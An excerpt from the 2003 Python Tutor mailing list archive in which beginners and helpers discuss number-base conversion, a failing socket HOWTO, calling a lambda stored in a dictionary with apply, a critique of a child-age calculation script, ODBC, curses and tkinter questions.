be equal to 7 decimal.  It seems *extremely* unlikely that that would be 
the intent, since there is virtually *never* any use for numbers in a 
nonstandard base.

>>>>>> convert.base(10,16,2**256-1)                 See Mom, No quotes 
>>>>>> here either!
>>>>>
>>>>>
>>> 0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
>>
>>
>> That's because you're using an integer constant, which the parser 
>> *can* distinguish from an identifier -- indeed, being able to 
>> distinguish between those is why identifiers cannot start with a 
>> numeric character.
>
> some more no quotes.
>
>>>> convert.base(10,16,e**e*tan(1)*4)
>>>
> 888E53DBD2D not correct value but it parsed!
>
>>>> convert.base(10,16,convert.numToBase(100,16))
>>>
> 40 


That's because, in each of these cases, you're using an expression which 
evaluates to an integer.  The parser separates 'e**e*tan(1)*4' (BTW, 
maybe that's the "wrong" value because operator precedence isn't what 
you're expecting/intending?) and 'convert.numToBase(100,16)', and 
evaluates each of those subexpressions on it's own.  In both cases, 
those subexpressions evaluate to an integer.

As another point, the first one only works if you've imported e from 
math, and then it *is* interpeting e as an identifier.

 >>> e
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
NameError: name 'e' is not defined
 >>> from math import e
 >>> e
2.7182818284590451
 >>>

This is precisely why quotes are necessary -- to separate the 
mathematical constant e from the hexidecimal digit e from the base-36 
digit e.

Indeed, the same applies in your second example -- the lack of quotes is 
how Python knows that 'convert.numToBase' represents a function to be 
called instead of a numeric constant in some strange radix (that nobody 
ever actually uses).

[consolidating a bit, from your other email]

> probably not of any practical value.


When 64 bit 128 bit and higher processor chips hit the mainstream you 
may change your opinion
if you want to get a base 64 representation. My convert.base would do 
this quickly if we used
the { and | as the value for 62 and 62 base 10.
-----------------

The number of bits that processors can use has almost zero correlation 
with the usefulness of number represented in different bases.  We 
currently have 32-bit processors (in most cases), but that doesn't mean 
we're using base 32 numbers for anything.  We've used base 16 numbers 
since long before 16-bit processors were standard.  When 64-bit 
processors become standard, humans will *not* learn to read base-64 
numbers; we'll simply represent processor words with a longer string of 
hexidecimal digits.

I say *almost* zero correlation, because the reason that hexidecimal is 
so popular is that a standard byte (8 bits) can be exactly represented 
using two hex digits.  Every possible 8-bit value can be shown in two 
hex digits, and every 2-hex-digit value can be shown in 8 binary digits 
(bits).  Humans typically find '0xE4' easier to read than '11100100', so 
hex makes a convenient shorthand for looking at bit patterns.  Note that 
this means that 32 bits are equivalent to 8 hex digits, and 64 bits to 
16 hex digits.  Once upon a time, many mainframes/minicomputers used 
9-bit, or 18-bit, or 27-bit words.  9 bits have that same mapping to 
three octal digits, so for these machines, octal is the convenient 
shorthand.  As that type of machine passes out of favor, octal is 
passing out of favor now, too.

The point of this diversion is simply to show that unusual bases are 
extremely rare, and serve very little practical purpose, which is *why* 
the Python interpreter is biased towards a few specific bases.

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Mon Jun 23 18:41:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 23 17:41:01 2003
Subject: [Tutor] Socket Programming HOWTO doesn't work!
References: <3EF76661.8080001@kirks.net>
Message-ID: <3EF773B1.7070300@ccvcorp.com>

Patrick Kirk wrote:

> There is a Python socket programming tutorial shipped with PythonWin, 
> it always comes up on Google and seems to be considered the reference 
> for Python.
>
> So I tried it.
>
> It bombs out on Windows and Linux.  I tried adding from socket import 
> * to the top but that failed as well. 


You need to 'import socket' instead of 'from socket import *'.  Notice 
that all the socket features are accessed using 'socket.XXXXX' -- this 
means 'look in the object named socket for the object named XXXXX'.  You 
need to have that 'socket' module object for that to work.  'import 
socket' binds the module to the name socket; 'from socket import *' 
loads the module, and puts all of the names *within* the module into the 
current namespace, but it doesn't bind the name 'socket' to the module 
object.  (In fact, it binds the name 'socket' to a particular class 
within that module, which is referred to in the example as 
'socket.socket'.  The interpreter then tries to find various module 
attributes within that class, and gives an error when it can't find them.)

Keep in mind, also, that when you run this script, that process will be 
tied up listening on the socket.  This means that if you run it from 
within PythonWin or IDLE, the interpreter will appear to be "locked up" 
-- in fact, it's just waiting for something to come in on the socket. 
 You may want to open a separate command (DOS) window to run this in, so 
that you'll still be able to access the IDE while it's running.

Jeff Shannon
Technician/Programmer
Credit International




From patrick@kirks.net  Mon Jun 23 19:14:28 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Mon Jun 23 18:14:28 2003
Subject: [Tutor] Socket Programming HOWTO doesn't work!
In-Reply-To: <3EF773B1.7070300@ccvcorp.com>
References: <3EF76661.8080001@kirks.net> <3EF773B1.7070300@ccvcorp.com>
Message-ID: <3EF77B43.3010405@kirks.net>


Jeff Shannon wrote:
[...]
> 
> Keep in mind, also, that when you run this script, that process will be 
> tied up listening on the socket.  This means that if you run it from 
> within PythonWin or IDLE, the interpreter will appear to be "locked up" 
> -- in fact, it's just waiting for something to come in on the socket. 
> You may want to open a separate command (DOS) window to run this in, so 
> that you'll still be able to access the IDE while it's running.
[...]

Still doesn't work.

import socket

#create an INET, STREAMing socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#bind the socket to a public host,
# and a well-known port
serversocket.bind((socket.gethostname(), 8888))
#become a server socket
serversocket.listen(5)

When I try it on windows I get this:

Traceback (most recent call last):
   File 
"C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", 
line 301, in RunScript
     exec codeObject in __main__.__dict__
   File "C:\Documents and Settings\patrick\Desktop\p2pdev\simple.py", 
line 1, in ?
     import socket
   File "socket.py", line 72, in ?
     errorTab[10004] = "The operation was interrupted."
   File "C:\Python22\lib\SocketServer.py", line 273, in ?
     class TCPServer(BaseServer):
   File "C:\Python22\lib\SocketServer.py", line 316, in TCPServer
     address_family = socket.AF_INET
AttributeError: 'module' object has no attribute 'AF_INET'

On Linux I get this:
patrick@enterprise /opt/data $ python simple.py
patrick@enterprise /opt/data $

but

patrick@enterprise /opt/data $ nmap -p 8888 localhost

Starting nmap 3.27 ( www.insecure.org/nmap/ ) at 2003-06-23 23:10 BST
The 1 scanned port on localhost (127.0.0.1) is: closed

Nmap run completed -- 1 IP address (1 host up) scanned in 0.318 seconds
patrick@enterprise /opt/data $


So something is still failing badly here.

Could you try this code on your machine please?  I need a sanity check!

-- 

Best regards,


Patrick Kirk
Mobile: 07876 560 646




From jeff@ccvcorp.com  Mon Jun 23 19:29:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 23 18:29:02 2003
Subject: [Tutor] Socket Programming HOWTO doesn't work!
References: <3EF76661.8080001@kirks.net> <3EF773B1.7070300@ccvcorp.com> <3EF77B43.3010405@kirks.net>
Message-ID: <3EF77EFA.70908@ccvcorp.com>

Patrick Kirk wrote:

>
>
> Jeff Shannon wrote:
> [...]
>
>>
>> Keep in mind, also, that when you run this script, that process will 
>> be tied up listening on the socket.  This means that if you run it 
>> from within PythonWin or IDLE, the interpreter will appear to be 
>> "locked up" -- in fact, it's just waiting for something to come in on 
>> the socket. You may want to open a separate command (DOS) window to 
>> run this in, so that you'll still be able to access the IDE while 
>> it's running.
>
> [...]
>
> Still doesn't work.
>
> import socket
>
> #create an INET, STREAMing socket
> serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> #bind the socket to a public host,
> # and a well-known port
> serversocket.bind((socket.gethostname(), 8888))
> #become a server socket
> serversocket.listen(5)
>
> When I try it on windows I get this:
>
> Traceback (most recent call last):
>   File 
> "C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", 
> line 301, in RunScript
>     exec codeObject in __main__.__dict__
>   File "C:\Documents and Settings\patrick\Desktop\p2pdev\simple.py", 
> line 1, in ?
>     import socket
>   File "socket.py", line 72, in ?
>     errorTab[10004] = "The operation was interrupted."
>   File "C:\Python22\lib\SocketServer.py", line 273, in ?
>     class TCPServer(BaseServer):
>   File "C:\Python22\lib\SocketServer.py", line 316, in TCPServer
>     address_family = socket.AF_INET
> AttributeError: 'module' object has no attribute 'AF_INET'


Any possibility that you have some other socket.py file that's getting 
picked up instead?  Try this and see if you get the same result that I do:

 >>> import socket
 >>> print socket.__file__
C:\Python22\lib\socket.py
 >>>

Also, try executing the script from a DOS window, instead of from inside 
PythonWin.  Because PythonWin runs code in the same process that 
PythonWin runs in, it's possible that there's some sort of namespace 
contention going on.

Jeff Shannon
Technician/Programmer
Credit International




From tim@johnsons-web.com  Mon Jun 23 21:16:01 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Mon Jun 23 20:16:01 2003
Subject: [Tutor] Function in a data structure
Message-ID: <20030624001906.GI17744@johnsons-web.com>

Hello All:
    I'd like to put a function in data structure
    and execute it as part of processing the
    structure.
I have
>>fd = {'func':[lambda x: x**2]}

How may I execute the lambda statement which
is the value for fd['func']?
I've tried:
  apply(fd['func'],(2))
  and apply(fd['func'],2)
  with no luck

  Any ideas? Pointers to docs will
  be most welcome also.

  using Python 2.2.2
  TIA 
-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From op73418@mail.telepac.pt  Mon Jun 23 22:24:02 2003
From: op73418@mail.telepac.pt (Rodrigues)
Date: Mon Jun 23 21:24:02 2003
Subject: [Tutor] Function in a data structure
In-Reply-To: <20030624001906.GI17744@johnsons-web.com>
Message-ID: <DCEDLKJJJGHMCOCFGMGKEEDJCAAA.op73418@mail.telepac.pt>

> -----Original Message-----
> From: tutor-admin@python.org
> [mailto:tutor-admin@python.org]On Behalf Of
> Tim Johnson
>
>
> Hello All:
>     I'd like to put a function in data structure
>     and execute it as part of processing the
>     structure.
> I have
> >>fd = {'func':[lambda x: x**2]}
>

Here you a have a dictionary with one pair. The key is the string
'func', but the value is a *list* of one element, precisely the
function object lambda x: x**2. Ditch the [] and your code below will
(almost) work.

> How may I execute the lambda statement which
> is the value for fd['func']?
> I've tried:
>   apply(fd['func'],(2))
>   and apply(fd['func'],2)
>   with no luck

You are not using apply correctly. Firing an interactive prompt:

>>> help(apply)
Help on built-in function apply:

apply(...)
    apply(object[, args[, kwargs]]) -> value

    Call a callable object with positional arguments taken from the
tuple args,
    and keyword arguments taken from the optional dictionary kwargs.
    Note that classes are callable, as are instances with a __call__()
method.

>>>

So what you need is:

>>> apply(lambda x:x**2, (2,))
4

Notice the use of (2,) instead of just (2), to build a tuple of one
element only.

By the way, apply is being deprecated, you should be using the *, **
syntax. A simple example should explain how it works:

>>> func = lambda x:x**2
>>> args = (2,)
>>> func(*args)
4

Hope it helps, with my best regards
G. Rodrigues



From mmb1@stir.ac.uk  Mon Jun 23 22:33:03 2003
From: mmb1@stir.ac.uk (mark boydell)
Date: Mon Jun 23 21:33:03 2003
Subject: [Tutor] first program
In-Reply-To: <20030619022502.20790.19568.Mailman@mail.python.org>
References: <20030619022502.20790.19568.Mailman@mail.python.org>
Message-ID: <1056418147.2284.13.camel@localhost>

--=-Yut+H+QV+i3N/67TBI3E
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hi there 

I've just started to pick up programming with Python and have like many others tried to write a
program for a very specific problem.

As a developmental psychologist, I often have to calculate a child's age in months
from their DOB. To do this I look at the date of the testing and the child's DOB
and w/ some maths I round it up to the closest month age.
so my program aims to take a file made up of the date of the experiment (date:DDMMYYYY)
and a list of DOBs (in the DDMMYYYY format) and write the results to an output file.

Having written and tested the program it seems to work fine but I've got some
niggling doubt that I may be breaking some basic rules:
1. am I overusing the global scope? 
2. should I make it more OOP? by making it all into a class?
3. is the general programming style dreadful ;) ?

If anyone can give me a few constructive remarks/comments/pointer I'd be most grateful :)

Mark.

-----------------------------------
the input file should look like this:

date:20062003
23111996
20021992
03121996
....

and my program is as such:

def inMonths(dob): #rounds up depending on the day
    if ((dob[0]<16) and (dob[0]>-16)):
        return (dob[2]*12+dob[1])
    elif(dob[0]<-15):
        return (dob[2]*12+dob[1]-1)
    else:
        return (dob[2]*12+dob[1]+1)


def ioFiles():
    global exp_date, dobList
    for line in inp.readlines():
        if line[0:5]=="date:":#pick out experiment date
            exp_date=line[5:]
        else:
            if line[-1]=='\n':#adds the date to a list
                dobList.append(line[:-1])#append the list & remove the \n 
            else:
                dobList.append(line)# in case the last line has no \n

def toInt(list):
    global exp_date, splitList
    exp_day = int(exp_date[0:2])
    exp_month = int(exp_date[2:4])    # get a part of the string and make it into an integer
    exp_year= int(exp_date[4:])
    for child_dob in list:
        days=(exp_day-(int(child_dob[0:2])))
        months=(exp_month-(int(child_dob[2:4])))
        years=(exp_year-(int(child_dob[4:])))
        splitList.append((days,months,years,child_dob))# assign a tuple

def toFile():
    for dobTpl in splitList:
        outp.write(str(dobTpl[3])+" = "+ str(inMonths(dobTpl))+'\n')

# create the variables etc

fileName=raw_input("file to use? :")
inp=open(fileName, "r") 
outp=open("DOBdata.out", "w")
exp_date=0
dobList=[]
splitList=[]

#call the methods

ioFiles() #setup the i/o files and extract the data from them
toInt(dobList) #make the strings become ints
toFile() # write the calculation (called w/in this function) to data.out
inp.close()
outp.close()

--=-Yut+H+QV+i3N/67TBI3E
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: 7bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 TRANSITIONAL//EN">
<HTML>
<HEAD>
  <META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET=UTF-8">
  <META NAME="GENERATOR" CONTENT="GtkHTML/1.1.8">
</HEAD>
<BODY>
<PRE>Hi there 

I've just started to pick up programming with Python and have like many others tried to write a
program for a very specific problem.

As a developmental psychologist, I often have to calculate a child's age in months
from their DOB. To do this I look at the date of the testing and the child's DOB
and w/ some maths I round it up to the closest month age.
so my program aims to take a file made up of the date of the experiment (date:DDMMYYYY)
and a list of DOBs (in the DDMMYYYY format) and write the results to an output file.

Having written and tested the program it seems to work fine but I've got some
niggling doubt that I may be breaking some basic rules:
1. am I overusing the global scope? 
2. should I make it more OOP? by making it all into a class?
3. is the general programming style dreadful ;) ?

If anyone can give me a few constructive remarks/comments/pointer I'd be most grateful :)

Mark.

-----------------------------------
the input file should look like this:

date:20062003
23111996
20021992
03121996
....

and my program is as such:

def inMonths(dob): #rounds up depending on the day
&nbsp;&nbsp;&nbsp; if ((dob[0]&lt;16) and (dob[0]&gt;-16)):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (dob[2]*12+dob[1])
&nbsp;&nbsp;&nbsp; elif(dob[0]&lt;-15):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (dob[2]*12+dob[1]-1)
&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (dob[2]*12+dob[1]+1)


def ioFiles():
&nbsp;&nbsp;&nbsp; global exp_date, dobList
&nbsp;&nbsp;&nbsp; for line in inp.readlines():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if line[0:5]==&quot;date:&quot;:#pick out experiment date
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exp_date=line[5:]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if line[-1]=='\n':#adds the date to a list
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dobList.append(line[:-1])#append the list &amp; remove the \n 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dobList.append(line)# in case the last line has no \n

def toInt(list):
&nbsp;&nbsp;&nbsp; global exp_date, splitList
&nbsp;&nbsp;&nbsp; exp_day = int(exp_date[0:2])
&nbsp;&nbsp;&nbsp; exp_month = int(exp_date[2:4])&nbsp;&nbsp;&nbsp; # get a part of the string and make it into an integer
&nbsp;&nbsp;&nbsp; exp_year= int(exp_date[4:])
&nbsp;&nbsp;&nbsp; for child_dob in list:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; days=(exp_day-(int(child_dob[0:2])))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; months=(exp_month-(int(child_dob[2:4])))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; years=(exp_year-(int(child_dob[4:])))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; splitList.append((days,months,years,child_dob))# assign a tuple

def toFile():
&nbsp;&nbsp;&nbsp; for dobTpl in splitList:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; outp.write(str(dobTpl[3])+&quot; = &quot;+ str(inMonths(dobTpl))+'\n')

# create the variables etc

fileName=raw_input(&quot;file to use? :&quot;)
inp=open(fileName, &quot;r&quot;) 
outp=open(&quot;DOBdata.out&quot;, &quot;w&quot;)
exp_date=0
dobList=[]
splitList=[]

#call the methods

ioFiles() #setup the i/o files and extract the data from them
toInt(dobList) #make the strings become ints
toFile() # write the calculation (called w/in this function) to data.out
inp.close()
outp.close()</PRE>
</BODY>
</HTML>

--=-Yut+H+QV+i3N/67TBI3E--



From tim@johnsons-web.com  Tue Jun 24 00:29:01 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Mon Jun 23 23:29:01 2003
Subject: [Tutor] Function in a data structure
In-Reply-To: <DCEDLKJJJGHMCOCFGMGKEEDJCAAA.op73418@mail.telepac.pt>
References: <20030624001906.GI17744@johnsons-web.com> <DCEDLKJJJGHMCOCFGMGKEEDJCAAA.op73418@mail.telepac.pt>
Message-ID: <20030624033200.GJ17744@johnsons-web.com>

Hello Rodgrigues:

* Rodrigues <op73418@mail.telepac.pt> [030623 17:32]:
> > -----Original Message-----
> > From: tutor-admin@python.org
> > [mailto:tutor-admin@python.org]On Behalf Of
> > Tim Johnson
> >
> >
> > Hello All:
> >     I'd like to put a function in data structure
> >     and execute it as part of processing the
> >     structure.
> > I have
> > >>fd = {'func':[lambda x: x**2]}
> >
> 
> Here you a have a dictionary with one pair. The key is the string
> 'func', but the value is a *list* of one element, precisely the
> function object lambda x: x**2. Ditch the [] and your code below will
> (almost) work.
> 
> > How may I execute the lambda statement which
> > is the value for fd['func']?
> > I've tried:
> >   apply(fd['func'],(2))
> >   and apply(fd['func'],2)
> >   with no luck
 
  I have found that I can call this function with 
  >>> fd['func'][0](2)
  4
  :-) Works for me. But I am still intrigued by your
      solution with apply, but do not follow completely.
      Please excuse my newbie-lack-of-insite here.

> You are not using apply correctly. Firing an interactive prompt:
> 
> >>> help(apply)
> Help on built-in function apply:
> 
> apply(...)
>     apply(object[, args[, kwargs]]) -> value
> 
>     Call a callable object with positional arguments taken from the
> tuple args,
>     and keyword arguments taken from the optional dictionary kwargs.
>     Note that classes are callable, as are instances with a __call__()
> method.
> 
> >>>
> 
> So what you need is:
> 
> >>> apply(lambda x:x**2, (2,))

 Rodrigues, you are using apply without referencing
 the 'lambda' statement from my original dictionary
 example. So I am still unclear on how you would use
 apply to execute the 'lambda' as a member of the
 dictionary. Sorry to be so dense, but maybe I
 shouldn't try to cook dinner and code at the same
 time.

  I find that apply(fd['func'][0],(2,)) also
  works, is this what you meant?

 Many thanks!
 tim
> 4
> 
> Notice the use of (2,) instead of just (2), to build a tuple of one
> element only.
> 
> By the way, apply is being deprecated, you should be using the *, **
> syntax. A simple example should explain how it works:
> 
> >>> func = lambda x:x**2
> >>> args = (2,)
> >>> func(*args)
> 4
> 
> Hope it helps, with my best regards
> G. Rodrigues
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From rmangaliag@slu.edu.ph  Tue Jun 24 01:13:01 2003
From: rmangaliag@slu.edu.ph (ali)
Date: Tue Jun 24 00:13:01 2003
Subject: [Tutor] ODBC problem
References: <20030620193235.48145.qmail@web20202.mail.yahoo.com> <5.2.1.1.0.20030622120908.02535830@66.28.54.253> <5.2.1.1.0.20030623094208.01b236e8@66.28.54.253>
Message-ID: <004301c33a09$2fd7e2e0$e019a8c0@slu.edu.ph>

> >i came accross the same problem before...
> >try using the old way of making connection strings...
> >
> >odbc.odbc("dsn/user/password")
>
> But doesn't that require that I create a Data Source? I'm trying to avoid
> that extra step.

yes it does, unfortunately... and i actually stopped using it because i
cannot make it work with regular odbc connection strings.

have you tried mxodbc? since odbc is only dbapi 1 compliant and no one is
practically developing it anymore, i think mxodbc is a better choice... it
is commercial though...





From shalehperry@attbi.com  Tue Jun 24 01:16:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Tue Jun 24 00:16:02 2003
Subject: [Tutor] first program
In-Reply-To: <1056418147.2284.13.camel@localhost>
References: <20030619022502.20790.19568.Mailman@mail.python.org> <1056418147.2284.13.camel@localhost>
Message-ID: <200306232115.23508.shalehperry@attbi.com>

On Monday 23 June 2003 18:29, mark boydell wrote:
>
> Having written and tested the program it seems to work fine but I've got
> some niggling doubt that I may be breaking some basic rules:
> 1. am I overusing the global scope?

definately.  globals are to be avoided.  Bad style, hard to debug, etc.

> 2. should I make it more OOP? by making it all into a class?

Dunno, maybe.  Below is a rough draft based solely on your code (I tried not 
to change much).

> 3. is the general programming style dreadful ;) ?
>

yeah, pretty much (-:

You get points for breaking it into functions but you lose points for the 
divisions being arbitrary and for little benefit.

A function should be a block of code you use over and over.  Or something that 
is easier to write when split off from the whole.

All of your file I/O I would leave in main.

#! /usr/bin/python

class ParseError(Exception):
    pass

class ExperimentDate:
    def __init__(self, datestring):
        self.day = int(datestring[0:2])
        self.month = int(datestring[2:4])
        self.year = int(datestring[4:])

class DOB:
    def __init__(self, datestring, exp):
        self.exp_date = exp
        self.days = exp.day - (int(datestring[0:2]))
        self.months = exp.month - (int(datestring[2:4]))
        self.years = exp.year - (int(datestring[4:]))
        self.datestring = datestring
        
    def inMonths(self):
        months = (self.years * 12) + self.months
        if self.days < 16 and self.days > -16:
            return months
        elif self.days < -15:
            return months - 1
        else:
            return months + 1

    def asString(self):
        return '%s = %s' % (self.datestring, self.inMonths())
    
def ioFiles(input):
    exp_date = ''
    dobList = []

    line = input.readline()
    if line[0:5] != "date:": #pick out experiment date
        raise ParseError
    exp_date = line[5:]

    dobList = [x.strip() for x in input.readlines()]

    return (exp_date, dobList)

def toFile(inputList, exp):
    for item in inputList:
        dob = DOB(item, exp)
        outp.write(dob.asString() + '\n')

if __name__ == '__main__':
    import sys

    if len(sys.argv) == 2:
        fileName = sys.argv[1]
    else: # ask for one
        fileName = raw_input("file to use? :")

    # create the variables etc
    inp = open(fileName, "r") # what if the file does not exist?
    
    outp = open("DOBdata.out", "w") # what if you can't create a file?
    
    #call the methods

    datestring, dobList = ioFiles(inp)

    inp.close()
    
    expDate = ExperimentDate(datestring)

    toFile(dobList, expDate)
    
    outp.close()



From lonetwin@yahoo.com  Tue Jun 24 03:48:01 2003
From: lonetwin@yahoo.com (lonetwin)
Date: Tue Jun 24 02:48:01 2003
Subject: [Tutor] curses on linux
Message-ID: <200306241232.09959.lonetwin@yahoo.com>

Hi,
    I plan to write a little app. on linux that uses the curses module. 
Here's what I'd like to do:

a) Start up my application. (ie: all the initscr & stuff)
b) Open another curses based application "embedded" within mine (actually
I'm planning to fire-up the 'links' browser). By embedded I mean either it
is displayed in one sub-window/pad on the screen, or it is displayed as it
normally should with a key binding that'll allow me to switch between the
embedded app and mine.
c) I should be able to move between these two apps.

     However, I can't figure out how to do this. I tried using
curses.def_[prog|shell]_mode, and curses.reset_[prog|shell]_mode, but that
doesn't seem to work. From the Ncurses faq I learnt
[ http://dickey.his.com/ncurses/ncurses.faq.html#handle_piping ]
---------------------------------------------
Redirecting I/O to/from a Curses application
In principle, you should be able to pipe to/from a curses application.
However, there are caveats:

    * Some (very old) curses implementations did not allow redirection of
the screen. Ncurses, like Solaris curses, consistently writes all output to
the standard output. You can pipe the output to a file, or use tee to show
the output while redirecting.
    * Ncurses obtains the screen size by first using the environment
variables LINES and COLS (unless you have disabled it with the use_env
call), then trying to query the output file pointer, and then (finally) the
terminal description. If you are redirecting output, then a query based on
the file pointer will always fail, resulting in the terminal description's
size.
* Similarly, you can redirect input to an ncurses application. However, I
have observed that the use of setvbuf (for better output buffering)
interferes with the use of stream I/O on GNU/Linux (and possibly other
platforms). Invoking setvbuf may (depending on the implementation) cause
buffered stream input to be discarded. Ncurses does not use buffered input,
however you may have an application that mixes buffered input with a curses
session.
---------------------------------------------
    How do I translate that to python ??
Right now, I've cooked up something ugly using the pty module (pty.spawn()
function). However, it's far from what I'd like to do.
    I'd post the code if anyone is interested, I didn't do it here, 'cos
it's kinda big.

any suggestions ??

Peace
Steve

An idealist is one who helps the other fellow to make a profit.
                -- Henry Ford


From op73418@mail.telepac.pt  Tue Jun 24 08:40:02 2003
From: op73418@mail.telepac.pt (Rodrigues)
Date: Tue Jun 24 07:40:02 2003
Subject: [Tutor] Function in a data structure
In-Reply-To: <20030624033200.GJ17744@johnsons-web.com>
Message-ID: <DCEDLKJJJGHMCOCFGMGKGEDMCAAA.op73418@mail.telepac.pt>


> -----Original Message-----
> From: tutor-admin@python.org
> [mailto:tutor-admin@python.org]On Behalf Of
> Tim Johnson
> Sent: terca-feira, 24 de Junho de 2003 4:32
> To: Rodrigues
> Cc: tutor@python.org
> Subject: Re: [Tutor] Function in a data structure
>
>
> Hello Rodgrigues:
>
> * Rodrigues <op73418@mail.telepac.pt> [030623 17:32]:
> > > -----Original Message-----
> > > From: tutor-admin@python.org
> > > [mailto:tutor-admin@python.org]On Behalf Of
> > > Tim Johnson
> > >
> > >
> > > Hello All:
> > >     I'd like to put a function in data structure
> > >     and execute it as part of processing the
> > >     structure.
> > > I have
> > > >>fd = {'func':[lambda x: x**2]}
> > >
> >
> > Here you a have a dictionary with one pair. The key is the string
> > 'func', but the value is a *list* of one element, precisely the
> > function object lambda x: x**2. Ditch the [] and your
> code below will
> > (almost) work.
> >
> > > How may I execute the lambda statement which
> > > is the value for fd['func']?
> > > I've tried:
> > >   apply(fd['func'],(2))
> > >   and apply(fd['func'],2)
> > >   with no luck
>
>   I have found that I can call this function with
>   >>> fd['func'][0](2)
>   4
>   :-) Works for me. But I am still intrigued by your
>       solution with apply, but do not follow completely.
>       Please excuse my newbie-lack-of-insite here.
>

Yes, it works. To see why, note the following chain of bindings:

fd --> {'func':[lambda x: x**2]}
fd['func'] --> [lambda x: x**2]
fd['func'][0] --> lambda x: x**2

So fd['func'][0] is bound to the function object lambda x: x**2, and
as such you can call it as you call any other function objects, e.g.

>>> fd['func'][0](2)

My comment above about ditching the [], is that in *this context* they
are of no use. It's a whole different story if in the code from which
this was taken you *do need* a list as a value in the dictionary.

[Example snipped]

> >
> > >>> apply(lambda x:x**2, (2,))
>
>  Rodrigues, you are using apply without referencing
>  the 'lambda' statement from my original dictionary
>  example. So I am still unclear on how you would use
>  apply to execute the 'lambda' as a member of the
>  dictionary. Sorry to be so dense, but maybe I
>  shouldn't try to cook dinner and code at the same
>  time.
>
>   I find that apply(fd['func'][0],(2,)) also
>   works, is this what you meant?

Yes, that's what I meant. I jumped some hoops and introduced the
lambda directly instead of the dictionary -- sorry about that.

Notice though that the form of apply is:

apply(<callable>, <tuple of args> [, <dict of named args>])

Since fd['func'][0] is bound to lambda x:x**2, a callable, it works.
callables are functions, methods (bound and unbound), classes and
instances of classes defining __call__. Some examples:

>>> def test():
... 	return "This is a test."
...
>>> apply(test, ())
'This is a test.'
>>> #apply with classes.
>>> apply(tuple, ([1, 2, 3],))
(1, 2, 3)
>>> #Apply with methods.
>>> a = []
>>> apply(a.append, (1,))
>>> print a
[1]
>>> #Apply with instances of classes defining __call__
>>> class Test(object):
... 	def __call__(self):
... 		return "I am %r." % self
...
>>> a = Test()
>>> print apply(a, ())
I am <__main__.Test object at 0x010FDE40>.
>>>

Hope that helps,
G. Rodrigues



From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Tue Jun 24 10:09:01 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Tue Jun 24 09:09:01 2003
Subject: [Tutor] Stroing tkinter screen as PNG file..............
Message-ID: <20030624130429.25639.qmail@webmail26.rediffmail.com>

Hi,

    I am using python/tkinter/windows. How to store tkinter canvas 
screen as a PNG file? I have drawn some rectangles in my canvas 
and i want to store it as a PNG file so that i can use it for 
further processing. How can i do it?

Thanx.


___________________________________________________
Get www. mycompany .com and 5 matching email ids.
Just Rs. 1499/ year.
Click here http://www.rediffmailpro.com



From ajstec@bol.com.br  Tue Jun 24 12:09:01 2003
From: ajstec@bol.com.br (ajstec)
Date: Tue Jun 24 11:09:01 2003
Subject: [Tutor] dictionary
Message-ID: <001201c33a63$87531c10$aa85f9c8@beta>

This is a multi-part message in MIME format.

------=_NextPart_000_000F_01C33A4A.60BBD7E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello all,

     I am trying to learn Python, and need of help, as I make to =
discover all the attributes in the use of dictionaries.

Eg : dict=3D{'name' : 'joao'}
       dict.has_key('name')=20

attribute in red.
         =20

Adilton,=20
Recife-Brazil

------=_NextPart_000_000F_01C33A4A.60BBD7E0
